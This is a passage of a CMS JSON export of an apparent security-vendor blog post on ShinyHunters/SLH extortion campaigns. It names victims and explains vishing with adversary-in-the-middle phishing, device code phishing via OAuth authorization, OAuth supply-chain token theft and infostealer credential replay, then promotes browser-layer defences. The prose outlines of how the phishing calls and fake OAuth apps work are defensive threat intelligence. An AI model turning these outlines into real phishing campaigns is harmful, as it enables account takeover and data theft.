},[],{"data":9691,"content":9692,"nodeType":953},{},[9693],{"data":9694,"marks":9695,"value":2276,"nodeType":865},{},[9696],{"type":935},{"data":9698,"content":9699,"nodeType":866},{},[9700],{"data":9701,"marks":9702,"value":2283,"nodeType":865},{},[],{"data":9704,"content":9705,"nodeType":2374},{},[9706,9724,9742,9760],{"data":9707,"content":9708,"nodeType":2309},{},[9709],{"data":9710,"content":9711,"nodeType":866},{},[9712,9715,9721],{"data":9713,"marks":9714,"value":2296,"nodeType":865},{},[],{"data":9716,"content":9717,"nodeType":889},{"uri":2299},[9718],{"data":9719,"marks":9720,"value":2304,"nodeType":865},{},[],{"data":9722,"marks":9723,"value":2308,"nodeType":865},{},[],{"data":9725,"content":9726,"nodeType":2309},{},[9727],{"data":9728,"content":9729,"nodeType":866},{},[9730,9733,9739],{"data":9731,"marks":9732,"value":2319,"nodeType":865},{},[],{"data":9734,"content":9735,"nodeType":889},{"uri":2322},[9736],{"data":9737,"marks":9738,"value":2327,"nodeType":865},{},[],{"data":9740,"marks":9741,"value":2331,"nodeType":865},{},[],{"data":9743,"content":9744,"nodeType":2309},{},[9745],{"data":9746,"content":9747,"nodeType":866},{},[9748,9751,9757],{"data":9749,"marks":9750,"value":2296,"nodeType":865},{},[],{"data":9752,"content":9753,"nodeType":889},{"uri":2096},[9754],{"data":9755,"marks":9756,"value":2347,"nodeType":865},{},[],{"data":9758,"marks":9759,"value":2351,"nodeType":865},{},[],{"data":9761,"content":9762,"nodeType":2309},{},[9763],{"data":9764,"content":9765,"nodeType":866},{},[9766,9769,9775],{"data":9767,"marks":9768,"value":2361,"nodeType":865},{},[],{"data":9770,"content":9771,"nodeType":889},{"uri":2364},[9772],{"data":9773,"marks":9774,"value":2369,"nodeType":865},{},[],{"data":9776,"marks":9777,"value":2373,"nodeType":865},{},[],{"data":9779,"content":9780,"nodeType":866},{},[9781],{"data":9782,"marks":9783,"value":2381,"nodeType":865},{},[],{"data":9785,"content":9786,"nodeType":866},{},[9787,9790,9794],{"data":9788,"marks":9789,"value":2388,"nodeType":865},{},[],{"data":9791,"marks":9792,"value":2393,"nodeType":865},{},[9793],{"type":935},{"data":9795,"marks":9796,"value":2397,"nodeType":865},{},[],{"data":9798,"content":9799,"nodeType":944},{},[],{"data":9801,"content":9802,"nodeType":953},{},[9803,9807,9812,9816,9821],{"data":9804,"marks":9805,"value":2408,"nodeType":865},{},[9806],{"type":935},{"data":9808,"marks":9809,"value":2414,"nodeType":865},{},[9810,9811],{"type":965},{"type":935},{"data":9813,"marks":9814,"value":2419,"nodeType":865},{},[9815],{"type":935},{"data":9817,"marks":9818,"value":2425,"nodeType":865},{},[9819,9820],{"type":965},{"type":935},{"data":9822,"marks":9823,"value":2430,"nodeType":865},{},[9824],{"type":935},{"data":9826,"content":9827,"nodeType":866},{},[9828,9831,9837],{"data":9829,"marks":9830,"value":2437,"nodeType":865},{},[],{"data":9832,"content":9833,"nodeType":889},{"uri":2440},[9834],{"data":9835,"marks":9836,"value":2445,"nodeType":865},{},[],{"data":9838,"marks":9839,"value":2449,"nodeType":865},{},[],{"data":9841,"content":9842,"nodeType":866},{},[9843],{"data":9844,"marks":9845,"value":2456,"nodeType":865},{},[],{"data":9847,"content":9848,"nodeType":866},{},[9849],{"data":9850,"marks":9851,"value":2463,"nodeType":865},{},[],{"data":9853,"content":9854,"nodeType":944},{},[],{"data":9856,"content":9857,"nodeType":953},{},[9858],{"data":9859,"marks":9860,"value":2474,"nodeType":865},{},[9861],{"type":935},{"data":9863,"content":9864,"nodeType":866},{},[9865,9868,9874],{"data":9866,"marks":9867,"value":2481,"nodeType":865},{},[],{"data":9869,"content":9870,"nodeType":889},{"uri":2484},[9871],{"data":9872,"marks":9873,"value":2489,"nodeType":865},{},[],{"data":9875,"marks":9876,"value":2493,"nodeType":865},{},[],{"data":9878,"content":9879,"nodeType":866},{},[9880],{"data":9881,"marks":9882,"value":2500,"nodeType":865},{},[],{"data":9884,"content":9885,"nodeType":866},{},[9886],{"data":9887,"marks":9888,"value":2507,"nodeType":865},{},[],{"data":9890,"content":9891,"nodeType":866},{},[9892,9895,9901],{"data":9893,"marks":9894,"value":2514,"nodeType":865},{},[],{"data":9896,"content":9897,"nodeType":889},{"uri":2517},[9898],{"data":9899,"marks":9900,"value":2489,"nodeType":865},{},[],{"data":9902,"marks":9903,"value":1066,"nodeType":865},{},[],{"data":9905,"content":9906,"nodeType":944},{},[],{"data":9908,"content":9909,"nodeType":953},{},[9910],{"data":9911,"marks":9912,"value":2535,"nodeType":865},{},[9913],{"type":935},{"data":9915,"content":9916,"nodeType":866},{},[9917],{"data":9918,"marks":9919,"value":2542,"nodeType":865},{},[],{"data":9921,"content":9922,"nodeType":2374},{},[9923,9932,9941],{"data":9924,"content":9925,"nodeType":2309},{},[9926],{"data":9927,"content":9928,"nodeType":866},{},[9929],{"data":9930,"marks":9931,"value":2555,"nodeType":865},{},[],{"data":9933,"content":9934,"nodeType":2309},{},[9935],{"data":9936,"content":9937,"nodeType":866},{},[9938],{"data":9939,"marks":9940,"value":2565,"nodeType":865},{},[],{"data":9942,"content":9943,"nodeType":2309},{},[9944],{"data":9945,"content":9946,"nodeType":866},{},[9947],{"data":9948,"marks":9949,"value":2575,"nodeType":865},{},[],{"data":9951,"content":9952,"nodeType":866},{},[9953],{"data":9954,"marks":9955,"value":2582,"nodeType":865},{},[],{"data":9957,"content":9958,"nodeType":866},{},[9959,9962,9968],{"data":9960,"marks":9961,"value":2589,"nodeType":865},{},[],{"data":9963,"content":9964,"nodeType":889},{"uri":1856},[9965],{"data":9966,"marks":9967,"value":2596,"nodeType":865},{},[],{"data":9969,"marks":9970,"value":1066,"nodeType":865},{},[],{"data":9972,"content":9973,"nodeType":866},{},[9974,9977,9983],{"data":9975,"marks":9976,"value":2606,"nodeType":865},{},[],{"data":9978,"content":9979,"nodeType":889},{"uri":2609},[9980],{"data":9981,"marks":9982,"value":2614,"nodeType":865},{},[],{"data":9984,"marks":9985,"value":2618,"nodeType":865},{},[],{"data":9987,"content":9990,"nodeType":921},{"target":9988},{"sys":9989},{"id":2623,"type":918,"linkType":919},[],{"data":9992,"content":9993,"nodeType":944},{},[],{"data":9995,"content":9996,"nodeType":866},{},[9997],{"data":9998,"marks":9999,"value":2634,"nodeType":865},{},[],{"data":10001,"content":10002,"nodeType":866},{},[10003,10006,10012],{"data":10004,"marks":10005,"value":2641,"nodeType":865},{},[],{"data":10007,"content":10008,"nodeType":889},{"uri":2644},[10009],{"data":10010,"marks":10011,"value":2649,"nodeType":865},{},[],{"data":10013,"marks":10014,"value":2653,"nodeType":865},{},[],{"items":10016},[10017,10019],{"sys":10018,"name":2663},{"id":2662},{"sys":10020,"name":342},{"id":2666},{"items":10022},[10023],{"fullName":2670,"firstName":2671,"jobTitle":2672,"profilePicture":10024},{"url":2674},{"__typename":1802,"sys":10026,"content":10028,"title":10992,"synopsis":10993,"hashTags":59,"publishedDate":2656,"slug":10994,"tagsCollection":10995,"authorsCollection":11001},{"id":10027},"3jF1fypt08TNlSoWuoMWhj",{"json":10029},{"data":10030,"content":10031,"nodeType":1663},{},[10032,10058,10089,10132,10175,10181,10193,10196,10204,10254,10261,10284,10290,10293,10301,10329,10336,10344,10350,10353,10361,10368,10386,10393,10436,10443,10446,10454,10473,10528,10531,10539,10557,10575,10583,10590,10602,10614,10626,10638,10654,10662,10669,10672,10679,10685,10700,10703,10711,10729,10986],{"data":10033,"content":10034,"nodeType":866},{},[10035,10039,10045,10049,10054],{"data":10036,"marks":10037,"value":10038,"nodeType":865},{},[],"ShinyHunters and the broader SLH (",{"data":10040,"content":10041,"nodeType":889},{"uri":2299},[10042],{"data":10043,"marks":10044,"value":2304,"nodeType":865},{},[],{"data":10046,"marks":10047,"value":10048,"nodeType":865},{},[],") collective have claimed breaches at thousands of organizations over the past twelve months across retail, technology, aviation, financial services, media, gaming, and education, in what amounts to the most sustained data theft and extortion operation in recent cybercrime history. SLH's genealogy traces through a merger of Scattered Spider, Lapsus$, and ShinyHunters, all parts of ",{"data":10050,"marks":10051,"value":10053,"nodeType":865},{},[10052],{"type":935},"the Com",{"data":10055,"marks":10056,"value":10057,"nodeType":865},{},[],", a broader community of English-speaking cybercriminals with international links. ",{"data":10059,"content":10060,"nodeType":866},{},[10061,10065,10073,10077,10085],{"data":10062,"marks":10063,"value":10064,"nodeType":865},{},[],"The confirmed victim list reads like a Fortune 500 directory: Coca-Cola, Cisco, Qantas, Coinbase, ADT, Aflac, SoundCloud, Rockstar Games, Charter Communications, and recently ",{"data":10066,"content":10068,"nodeType":889},{"uri":10067},"https://www.bleepingcomputer.com/news/security/instructure-confirms-data-breach-shinyhunters-claims-attack/",[10069],{"data":10070,"marks":10071,"value":10072,"nodeType":865},{},[],"Instructure",{"data":10074,"marks":10075,"value":10076,"nodeType":865},{},[]," — whose breach ",{"data":10078,"content":10080,"nodeType":889},{"uri":10079},"https://krebsonsecurity.com/2026/05/canvas-breach-disrupts-schools-colleges-nationwide/",[10081],{"data":10082,"marks":10083,"value":10084,"nodeType":865},{},[],"disrupted schools and universities nationwide",{"data":10086,"marks":10087,"value":10088,"nodeType":865},{},[]," during final exams — among dozens more named publicly and likely many more that haven't been (breaches settled quickly behind closed doors don't always make it into the public eye). ShinyHunters alone claimed over 1.5 billion stolen Salesforce records from a single campaign targeting more than 1,000 organizations.",{"data":10090,"content":10091,"nodeType":866},{},[10092,10096,10104,10108,10116,10120,10128],{"data":10093,"marks":10094,"value":10095,"nodeType":865},{},[],"Additional operating clusters, including Cordial Spider and Snarky Spider (which CrowdStrike ",{"data":10097,"content":10099,"nodeType":889},{"uri":10098},"https://cyberscoop.com/crowdstrike-cordial-spider-snarky-spider-extortion-attacks/",[10100],{"data":10101,"marks":10102,"value":10103,"nodeType":865},{},[],"characterizes as the new generation of Scattered Spider",{"data":10105,"marks":10106,"value":10107,"nodeType":865},{},[],") run parallel campaigns against different target sectors, unified not by shared infrastructure but by a shared playbook of techniques that exploit the structural weakness in modern SaaS-first organizations. ",{"data":10109,"content":10111,"nodeType":889},{"uri":10110},"https://github.com/PaloAltoNetworks/Unit42-timely-threat-intel/blob/main/2026-03-12-Vishing-Campaigns-Lead-to-Data-Theft-and-Extortion.txt",[10112],{"data":10113,"marks":10114,"value":10115,"nodeType":865},{},[],"Unit 42 documented",{"data":10117,"marks":10118,"value":10119,"nodeType":865},{},[]," these groups moving from initial compromise to complete data exfiltration in under an hour — faster than most organizations can even begin to respond. Newer groups with links to the SLH ecosystem like CoinbaseCartel have also continued the tradition of weaponizing stolen credentials from the infostealer economy at scale, as ShinyHunters did in the ",{"data":10121,"content":10123,"nodeType":889},{"uri":10122},"https://www.bleepingcomputer.com/news/security/shinyhunters-claims-15-billion-salesforce-records-stolen-in-drift-hacks/",[10124],{"data":10125,"marks":10126,"value":10127,"nodeType":865},{},[],"2024 Snowflake breach",{"data":10129,"marks":10130,"value":10131,"nodeType":865},{},[]," that compromised over 165 customer environments (and claimed another billion-plus records).",{"data":10133,"content":10134,"nodeType":866},{},[10135,10139,10147,10151,10159,10163,10171],{"data":10136,"marks":10137,"value":10138,"nodeType":865},{},[],"Not every SLH breach is browser-based — the Instructure breach (275 million individuals, ~330 school login portals defaced) began with a Salesforce tenant compromise in September 2025, but resurfaced in May 2026 after attackers exploited a ",{"data":10140,"content":10142,"nodeType":889},{"uri":10141},"https://www.bitdefender.com/en-gb/blog/businessinsights/technical-advisory-shinyhunters-breach-instructure-canvas-lms",[10143],{"data":10144,"marks":10145,"value":10146,"nodeType":865},{},[],"vulnerability affecting Canvas's Free-For-Teacher program",{"data":10148,"marks":10149,"value":10150,"nodeType":865},{},[]," (it's now been confirmed that Instructure \"",{"data":10152,"content":10154,"nodeType":889},{"uri":10153},"https://www.instructure.com/incident_update",[10155],{"data":10156,"marks":10157,"value":10158,"nodeType":865},{},[],"reached a settlement",{"data":10160,"marks":10161,"value":10162,"nodeType":865},{},[],"\" for the deletion of the data, and shut down the free account tier), while the Coinbase breach cost ",{"data":10164,"content":10166,"nodeType":889},{"uri":10165},"https://www.bleepingcomputer.com/news/security/coinbase-discloses-breach-faces-up-to-400-million-in-losses/",[10167],{"data":10168,"marks":10169,"value":10170,"nodeType":865},{},[],"$180M–400M through insider bribery",{"data":10172,"marks":10173,"value":10174,"nodeType":865},{},[]," — but these are the exceptions that prove the rule. ",{"data":10176,"content":10180,"nodeType":921},{"target":10177},{"sys":10178},{"id":10179,"type":918,"linkType":919},"4qNrbDyMJIumQfdbh9YVkU",[],{"data":10182,"content":10183,"nodeType":866},{},[10184,10189],{"data":10185,"marks":10186,"value":10188,"nodeType":865},{},[10187],{"type":935},"The vast majority of SLH campaigns over the past year converge on three browser-based attack vectors: vishing combined with AiTM phishing, device code phishing exploiting account authorization flows, and OAuth supply chain attacks through compromised third-party integrators.",{"data":10190,"marks":10191,"value":10192,"nodeType":865},{},[]," Each is well-documented, each has produced confirmed victims at scale, and each is detectable or preventable through browser-layer security controls.",{"data":10194,"content":10195,"nodeType":944},{},[],{"data":10197,"content":10198,"nodeType":953},{},[10199],{"data":10200,"marks":10201,"value":10203,"nodeType":865},{},[10202],{"type":935},"Vector 1: Vishing combined with AiTM phishing",{"data":10205,"content":10206,"nodeType":866},{},[10207,10211,10218,10221,10229,10232,10239,10243,10251],{"data":10208,"marks":10209,"value":10210,"nodeType":865},{},[],"The most visible campaign right now pairs targeted voice calls with adversary-in-the-middle phishing pages — an approach that ",{"data":10212,"content":10213,"nodeType":889},{"uri":4556},[10214],{"data":10215,"marks":10216,"value":10217,"nodeType":865},{},[],"Mandiant",{"data":10219,"marks":10220,"value":5812,"nodeType":865},{},[],{"data":10222,"content":10224,"nodeType":889},{"uri":10223},"https://www.crowdstrike.com/en-us/blog/defending-against-cordial-spider-and-snarky-spider-with-falcon-shield/",[10225],{"data":10226,"marks":10227,"value":10228,"nodeType":865},{},[]," CrowdStrike",{"data":10230,"marks":10231,"value":6229,"nodeType":865},{},[],{"data":10233,"content":10234,"nodeType":889},{"uri":10110},[10235],{"data":10236,"marks":10237,"value":10238,"nodeType":865},{},[]," Unit 42",{"data":10240,"marks":10241,"value":10242,"nodeType":865},{},[]," have all documented from the incident response side, and which Push has ",{"data":10244,"content":10246,"nodeType":889},{"uri":10245},"https://pushsecurity.com/blog/inside-criminal-phishing-panel/",[10247],{"data":10248,"marks":10249,"value":10250,"nodeType":865},{},[],"documented from inside the attacker's own operator panels",{"data":10252,"marks":10253,"value":1066,"nodeType":865},{},[],{"data":10255,"content":10256,"nodeType":866},{},[10257],{"data":10258,"marks":10259,"value":10260,"nodeType":865},{},[],"An attacker impersonating IT support calls the target employee, establishes urgency — often citing a \"mandatory passkey rollout\" or a \"security compliance update\" — and directs them to a victim-branded AiTM phishing page (typically at a domain like \u003Ccompany>sso.com or \u003Ccompany>internal.com). The attack is processed by a live human in real time, relaying credentials and MFA codes to the legitimate identity provider as they are entered, capturing the resulting session token, and granting the attacker an authenticated session. ",{"data":10262,"content":10263,"nodeType":866},{},[10264,10268,10275,10279],{"data":10265,"marks":10266,"value":10267,"nodeType":865},{},[],"One of the reasons that this method is becoming so widespread is the commoditization of effective tools. Push's ",{"data":10269,"content":10270,"nodeType":889},{"uri":10245},[10271],{"data":10272,"marks":10273,"value":10274,"nodeType":865},{},[],"infiltration of the criminal phishing panels",{"data":10276,"marks":10277,"value":10278,"nodeType":865},{},[]," identified over 400 linked domains across four distinct infrastructure clusters. ",{"data":10280,"marks":10281,"value":10283,"nodeType":865},{},[10282],{"type":935},"This mirrors the pattern that turned AiTM phishing from a specialist capability into an industrialized market with competing PhaaS platforms, but with the added complication that voice phishing as the delivery vector makes the attack invisible to traditional anti-phishing controls at the email layer.",{"data":10285,"content":10289,"nodeType":921},{"target":10286},{"sys":10287},{"id":10288,"type":918,"linkType":919},"1Yhthl0PILGW7EmCcZUrNv",[],{"data":10291,"content":10292,"nodeType":944},{},[],{"data":10294,"content":10295,"nodeType":953},{},[10296],{"data":10297,"marks":10298,"value":10300,"nodeType":865},{},[10299],{"type":935},"Vector 2: Vishing combined with device code phishing",{"data":10302,"content":10303,"nodeType":866},{},[10304,10307,10314,10318,10325],{"data":10305,"marks":10306,"value":2361,"nodeType":865},{},[],{"data":10308,"content":10309,"nodeType":889},{"uri":2322},[10310],{"data":10311,"marks":10312,"value":10313,"nodeType":865},{},[],"ShinyHunters Salesforce campaign",{"data":10315,"marks":10316,"value":10317,"nodeType":865},{},[]," that ran through 2025 and into 2026 used device code phishing as one of its core methods, ",{"data":10319,"content":10320,"nodeType":889},{"uri":10122},[10321],{"data":10322,"marks":10323,"value":10324,"nodeType":865},{},[],"compromising over 1,000 organizations and claiming 1.5 billion stolen records",{"data":10326,"marks":10327,"value":10328,"nodeType":865},{},[]," — including an attempted extortion of Salesforce itself. The attack involved registering an attacker-controlled \"DataLoader\" application mimicking a legitimate Salesforce tool, configuring it to request broad OAuth scopes including full API access and refresh token generation, and guiding victims through the device authorization flow via vishing calls.",{"data":10330,"content":10331,"nodeType":866},{},[10332],{"data":10333,"marks":10334,"value":10335,"nodeType":865},{},[],"Device code phishing exploits the OAuth 2.0 device authorization grant — a flow designed for devices without browsers, like smart TVs, but used in a wide range of scenarios including CLI logins — by tricking users into entering a code on Microsoft's (or another identity provider's) legitimate verification page. Since the victim is usually signed into the app in their browser, there’s no login at all. They simply navigate to the app’s device code login page and enter an attacker-provided code to grant the attacker an access token. ",{"data":10337,"content":10338,"nodeType":866},{},[10339],{"data":10340,"marks":10341,"value":10343,"nodeType":865},{},[10342],{"type":935},"This is what makes device code phishing structurally different from AiTM: it defeats all MFA (including passkeys) because the attack doesn’t target the login, but the authorization layer instead.",{"data":10345,"content":10349,"nodeType":921},{"target":10346},{"sys":10347},{"id":10348,"type":918,"linkType":919},"3ElQz8sLATnR8RY5nVlBGM",[],{"data":10351,"content":10352,"nodeType":944},{},[],{"data":10354,"content":10355,"nodeType":953},{},[10356],{"data":10357,"marks":10358,"value":10360,"nodeType":865},{},[10359],{"type":935},"Vector 3: OAuth supply chain attacks through compromised integrators",{"data":10362,"content":10363,"nodeType":866},{},[10364],{"data":10365,"marks":10366,"value":10367,"nodeType":865},{},[],"The third vector does not require the attacker to phish the victim organization's employees at all. Instead, it exploits the OAuth trust relationships that organizations create when they connect third-party SaaS vendors into their environments — and the consequence is that every organization that authorized one of these integrations effectively extended its security boundary to include the vendor's own security posture.",{"data":10369,"content":10370,"nodeType":866},{},[10371,10374,10382],{"data":10372,"marks":10373,"value":2361,"nodeType":865},{},[],{"data":10375,"content":10377,"nodeType":889},{"uri":10376},"https://cloud.google.com/blog/topics/threat-intelligence/data-theft-salesforce-instances-via-salesloft-drift",[10378],{"data":10379,"marks":10380,"value":10381,"nodeType":865},{},[],"Salesloft/Drift supply chain attack",{"data":10383,"marks":10384,"value":10385,"nodeType":865},{},[]," demonstrated this at scale in 2025: in an extension of the previously mentioned device code phishing campaign, the attacker compromised Salesloft's GitHub environment, used TruffleHog to find secrets, stole Drift OAuth tokens, and used them to access downstream Salesforce environments. The same pattern was later repeated at Gainsight. ",{"data":10387,"content":10388,"nodeType":866},{},[10389],{"data":10390,"marks":10391,"value":10392,"nodeType":865},{},[],"Along with the previously mentioned device code phishing attacks,  more than 1000 organizations were breached. The attackers then harvested AWS keys, Snowflake credentials, and stored passwords from breached Salesforce instances, compounding the access into progressively wider reach.",{"data":10394,"content":10395,"nodeType":866},{},[10396,10400,10408,10412,10420,10424,10432],{"data":10397,"marks":10398,"value":10399,"nodeType":865},{},[],"The same structural pattern has continued into 2026 with the Anodot supply chain compromise, which has produced confirmed breaches at ",{"data":10401,"content":10403,"nodeType":889},{"uri":10402},"https://www.bleepingcomputer.com/news/security/vimeo-data-breach-exposes-personal-information-of-119-000-people/",[10404],{"data":10405,"marks":10406,"value":10407,"nodeType":865},{},[],"Vimeo",{"data":10409,"marks":10410,"value":10411,"nodeType":865},{},[]," (119,000 users), Rockstar Games (78.6 million records), and ",{"data":10413,"content":10415,"nodeType":889},{"uri":10414},"https://www.bleepingcomputer.com/news/security/zara-data-breach-exposed-personal-information-of-197-000-people/",[10416],{"data":10417,"marks":10418,"value":10419,"nodeType":865},{},[],"Zara/Inditex",{"data":10421,"marks":10422,"value":10423,"nodeType":865},{},[]," (197,000 people), with further downstream victims likely still emerging. The ",{"data":10425,"content":10427,"nodeType":889},{"uri":10426},"https://pushsecurity.com/blog/unpacking-the-vercel-breach/",[10428],{"data":10429,"marks":10430,"value":10431,"nodeType":865},{},[],"Vercel breach",{"data":10433,"marks":10434,"value":10435,"nodeType":865},{},[],", which involved compromised OAuth tokens from Context.ai cascading into Google Workspace, also reinforces the same attack pattern (though it was likely not a ShinyHunters operation despite being claimed by someone pretending to be them).",{"data":10437,"content":10438,"nodeType":866},{},[10439],{"data":10440,"marks":10441,"value":10442,"nodeType":865},{},[],"A forgotten SaaS integration can easily become the pivot point for downstream compromise. The moment you authorize a third-party integration, your security boundary extends to include that vendor. If the third-party is compromised, every downstream customer organization with an active integration is exposed.",{"data":10444,"content":10445,"nodeType":944},{},[],{"data":10447,"content":10448,"nodeType":953},{},[10449],{"data":10450,"marks":10451,"value":10453,"nodeType":865},{},[10452],{"type":935},"The infostealer credential playbook sits alongside these attacks",{"data":10455,"content":10456,"nodeType":866},{},[10457,10461,10469],{"data":10458,"marks":10459,"value":10460,"nodeType":865},{},[],"Alongside the three vectors above, ShinyHunters has a track record of exploiting the infostealer credential economy at scale — and it predates any of them. The 2024 Snowflake campaign — 165+ customer environments compromised, over a billion records stolen from AT&T, Ticketmaster, Santander, and Advance Auto Parts among others — was built entirely on infostealer-harvested credentials replayed against MFA-less tenants, with ",{"data":10462,"content":10464,"nodeType":889},{"uri":10463},"https://cloud.google.com/blog/topics/threat-intelligence/unc5537-snowflake-data-theft-extortion",[10465],{"data":10466,"marks":10467,"value":10468,"nodeType":865},{},[],"Mandiant's investigation",{"data":10470,"marks":10471,"value":10472,"nodeType":865},{},[]," finding that 80% of compromised accounts had prior breach exposure in datasets dating back to 2020. The credentials were already circulating in criminal marketplaces; ShinyHunters simply purchased and operationalized them at industrial scale.",{"data":10474,"content":10475,"nodeType":866},{},[10476,10480,10488,10492,10500,10504,10512,10516,10524],{"data":10477,"marks":10478,"value":10479,"nodeType":865},{},[],"The same methodology powered the ",{"data":10481,"content":10483,"nodeType":889},{"uri":10482},"https://pushsecurity.com/blog/why-attackers-are-targeting-jira-with-stolen-credentials/",[10484],{"data":10485,"marks":10486,"value":10487,"nodeType":865},{},[],"HellCat Jira campaign",{"data":10489,"marks":10490,"value":10491,"nodeType":865},{},[]," through 2024–2025, and has now been industrialized as a standalone operation by ",{"data":10493,"content":10495,"nodeType":889},{"uri":10494},"https://www.halcyon.ai/jp/threat-group/coinbasecartel",[10496],{"data":10497,"marks":10498,"value":10499,"nodeType":865},{},[],"CoinbaseCartel",{"data":10501,"marks":10502,"value":10503,"nodeType":865},{},[],", another criminal group reported to be an offshoot of SLH. CoinbaseCartel's model is familiar: purchase old infostealer credentials, use them to access cloud and development environments, exfiltrate data, and demand ransom. ",{"data":10505,"content":10507,"nodeType":889},{"uri":10506},"https://www.infostealers.com/article/inside-the-coinbase-cartel-how-infostealer-credentials-fueled-a-100-company-ransomware-spree/",[10508],{"data":10509,"marks":10510,"value":10511,"nodeType":865},{},[],"Hudson Rock's analysis",{"data":10513,"marks":10514,"value":10515,"nodeType":865},{},[]," of the group's 170+ claimed victims confirms that roughly 80% had prior infostealer infections predating the attacks. The most recent named victim is ",{"data":10517,"content":10519,"nodeType":889},{"uri":10518},"https://www.bleepingcomputer.com/news/security/grafana-says-stolen-github-token-let-hackers-steal-codebase/",[10520],{"data":10521,"marks":10522,"value":10523,"nodeType":865},{},[],"Grafana",{"data":10525,"marks":10526,"value":10527,"nodeType":865},{},[],", where a GitHub token compromised via the TanStack npm supply chain attack and missed during credential rotation was used to download the codebase and attempt extortion. ",{"data":10529,"content":10530,"nodeType":944},{},[],{"data":10532,"content":10533,"nodeType":953},{},[10534],{"data":10535,"marks":10536,"value":10538,"nodeType":865},{},[10537],{"type":935},"These attacks all happen in the browser",{"data":10540,"content":10541,"nodeType":866},{},[10542,10546,10553],{"data":10543,"marks":10544,"value":10545,"nodeType":865},{},[],"Every one of these attack chains is a browser-based attack that either occurs in the browser (AiTM phishing, device code phishing) or could have been prevented at the browser layer (OAuth consent governance). The techniques are interchangeable — the",{"data":10547,"content":10548,"nodeType":889},{"uri":2169},[10549],{"data":10550,"marks":10551,"value":10552,"nodeType":865},{},[]," same criminal kits now offer AiTM and device code phishing side by side",{"data":10554,"marks":10555,"value":10556,"nodeType":865},{},[],", and the same threat actor (ShinyHunters) has used all three vectors across different campaigns within the same twelve-month period.",{"data":10558,"content":10559,"nodeType":866},{},[10560,10564,10571],{"data":10561,"marks":10562,"value":10563,"nodeType":865},{},[],"Additionally, infostealer infections themselves are increasingly delivered through browser-based methods like ",{"data":10565,"content":10567,"nodeType":889},{"uri":10566},"https://pushsecurity.com/blog/introducing-malicious-copy-paste-detection",[10568],{"data":10569,"marks":10570,"value":315,"nodeType":865},{},[],{"data":10572,"marks":10573,"value":10574,"nodeType":865},{},[],", closing the loop between the credential supply side and the browser-layer detection point.",{"data":10576,"content":10577,"nodeType":1229},{},[10578],{"data":10579,"marks":10580,"value":10582,"nodeType":865},{},[10581],{"type":935},"How Push can help",{"data":10584,"content":10585,"nodeType":866},{},[10586],{"data":10587,"marks":10588,"value":10589,"nodeType":865},{},[],"Push operates at the exact point in each of these attack chains where automated intervention can still prevent the compromise. ",{"data":10591,"content":10592,"nodeType":866},{},[10593,10598],{"data":10594,"marks":10595,"value":10597,"nodeType":865},{},[10596],{"type":935},"For vishing + AiTM attacks, ",{"data":10599,"marks":10600,"value":10601,"nodeType":865},{},[],"Push's behavioral phishing detection analyzes and blocks the phishing page in real time by detecting it from the user's browser — regardless of the domains used, hosting infrastructure, or where the URL was delivered.  ",{"data":10603,"content":10604,"nodeType":866},{},[10605,10610],{"data":10606,"marks":10607,"value":10609,"nodeType":865},{},[10608],{"type":935},"For device code phishing,",{"data":10611,"marks":10612,"value":10613,"nodeType":865},{},[]," Push detects the phishing pages associated with device code phishing kits — including generic, technique-class detections that catch new kits without requiring kit-specific signatures. Second, Push provides an additional layer of protection on the legitimate device code authentication pages themselves, preventing users from entering attacker-supplied codes into them. Together, these detections cover both the kit-operated phishing infrastructure and the legitimate auth pages that the attack flow depends on.",{"data":10615,"content":10616,"nodeType":866},{},[10617,10622],{"data":10618,"marks":10619,"value":10621,"nodeType":865},{},[10620],{"type":935},"For OAuth supply chain attacks,",{"data":10623,"marks":10624,"value":10625,"nodeType":865},{},[]," Push's detects and controls OAuth consent flows at the browser layer — capturing which application is requesting access, what scopes it's requesting, and whether the grant should be permitted under organizational policy. Push customers can also block OAuth connection requests as they transit the browser, enabling security teams to stop unwanted integrations being added in the first place. ",{"data":10627,"content":10628,"nodeType":866},{},[10629,10634],{"data":10630,"marks":10631,"value":10633,"nodeType":865},{},[10632],{"type":935},"For the infostealer credential playbook,",{"data":10635,"marks":10636,"value":10637,"nodeType":865},{},[]," Push's stolen credential detection identifies when employees are using credentials that have appeared in breach datasets or dark web feeds — catching the moment a dormant infostealer credential surfaces at a browser-based login, as well as surfacing insecure login methods missing mitigating controls like MFA and enforcing them through in-browser guardrails. And on the supply side, Push's ClickFix detection addresses the browser-based delivery vector that is now the primary method for distributing infostealer malware in the first place.",{"data":10639,"content":10640,"nodeType":866},{},[10641,10644,10651],{"data":10642,"marks":10643,"value":21,"nodeType":865},{},[],{"data":10645,"content":10646,"nodeType":889},{"uri":5856},[10647],{"data":10648,"marks":10649,"value":10650,"nodeType":865},{},[],"Learn more about how you can use Push controls to protect your users from in-browser threats here. ",{"data":10652,"marks":10653,"value":21,"nodeType":865},{},[],{"data":10655,"content":10656,"nodeType":1229},{},[10657],{"data":10658,"marks":10659,"value":10661,"nodeType":865},{},[10660],{"type":935},"Closing thoughts",{"data":10663,"content":10664,"nodeType":866},{},[10665],{"data":10666,"marks":10667,"value":10668,"nodeType":865},{},[],"The campaigns documented in this post are not historical — they are ongoing, with new victims surfacing weekly and the underlying criminal infrastructure still actively developing. But the defensive strategy does not require anticipating which specific group, vector, or target sector comes next, because all of them converge on the same control point: the browser, where the attack begins or the integration decision is made. Organizations with browser-layer detection and OAuth governance in place have defense-in-depth against the full range of techniques these groups employ, regardless of which specific vector any given campaign uses.",{"data":10670,"content":10671,"nodeType":944},{},[],{"data":10673,"content":10674,"nodeType":866},{},[10675],{"data":10676,"marks":10677,"value":10678,"nodeType":865},{},[],"Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required. ",{"data":10680,"content":10681,"nodeType":866},{},[10682],{"data":10683,"marks":10684,"value":1478,"nodeType":865},{},[],{"data":10686,"content":10687,"nodeType":866},{},[10688,10691,10697],{"data":10689,"marks":10690,"value":21,"nodeType":865},{},[],{"data":10692,"content":10693,"nodeType":889},{"uri":1487},[10694],{"data":10695,"marks":10696,"value":1493,"nodeType":865},{},[],{"data":10698,"marks":10699,"value":21,"nodeType":865},{},[],{"data":10701,"content":10702,"nodeType":944},{},[],{"data":10704,"content":10705,"nodeType":953},{},[10706],{"data":10707,"marks":10708,"value":10710,"nodeType":865},{},[10709],{"type":935},"Appendix: named ShinyHunters victims since May 2025",{"data":10712,"content":10713,"nodeType":866},{},[10714,10718,10725],{"data":10715,"marks":10716,"value":10717,"nodeType":865},{},[],"To give an indication of the scale, the following table documents all publicly named victims attributed to ShinyHunters specifically since the Salesforce campaign began in May 2025. It is not exhaustive: 